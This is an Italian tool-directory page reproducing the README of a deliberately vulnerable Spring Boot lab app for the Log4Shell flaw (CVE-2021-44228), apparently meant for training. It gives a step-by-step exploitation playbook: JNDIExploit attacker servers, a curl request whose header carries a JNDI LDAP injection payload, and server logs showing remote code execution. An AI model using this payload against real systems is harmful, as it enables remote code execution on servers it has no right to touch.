Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4shell-vulnerable-app — Questo repository contiene un'applicazione web Spring Boot vulnerabile a CVE-2021-44228, nota come log4shell. | Kitploit
Strumenti/GitHubGitHub/romanutti/log4shell-vulnerable-app
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubromanutti/log4shell-vulnerable-app

log4shell-vulnerable-app

Questo repository contiene un'applicazione web Spring Boot vulnerabile a CVE-2021-44228, nota come log4shell.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
4 anni faNon ancora revisionato

Applicazione vulnerabile

Questo repository contiene un'applicazione web Spring Boot vulnerabile a CVE-2021-44228, nota come log4shell.

Utilizza

  • log-4j-core:2.14.1 (tramite spring-boot-starter-log4j2) e
  • openjdk:8u181

Esecuzione dell'applicazione

Eseguila:

root@kitploit:~
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app

Oppure, compilala tu stesso:

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app

Playbook di sfruttamento

Seguendo i passaggi seguenti puoi riprodurre un exploit log4shell. Se non hai familiarità con il funzionamento dell'attacco, dai un'occhiata a questo articolo o alle diapositive in questo repository.

Aggiornamento (13 dicembre): Il repository JNDIExploit è stato rimosso da GitHub (presumibilmente, non da GitHub). Raccomando quindi di utilizzare la versione salvata da questo repository.

Configurazione dei server attaccanti

Prima di tutto dobbiamo configurare i server attaccanti. Questo consiste in

  • un server LDAP che ci reindirizzerà al nostro server HTTP malevolo
  • un server HTTP che restituirà il payload dannoso

Usiamo JNDIExploit per avviare i server attaccanti.

root@kitploit:~
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888

Attivazione dell'exploit

Come payload vogliamo eseguire touch /tmp/pwned (che corrisponde al base64 codificato dG91Y2ggL3RtcC9wd25lZAo=) sul server dell'applicazione vulnerabile.

Attiva l'exploit usando:

root@kitploit:~
# will execute 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

L'output di JNDIExploit mostra che i server attaccanti hanno risposto con l'exploit malevolo e hanno eseguito il payload:

root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200

Per confermare che l'esecuzione del codice sia riuscita, controlliamo che il file /tmp/pwned.txt sia stato creato nel container che esegue l'applicazione vulnerabile:

root@kitploit:~
$ docker exec vulnerable-app ls /tmp

...
pwned
...

Riferimenti

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/

Scarica lo strumento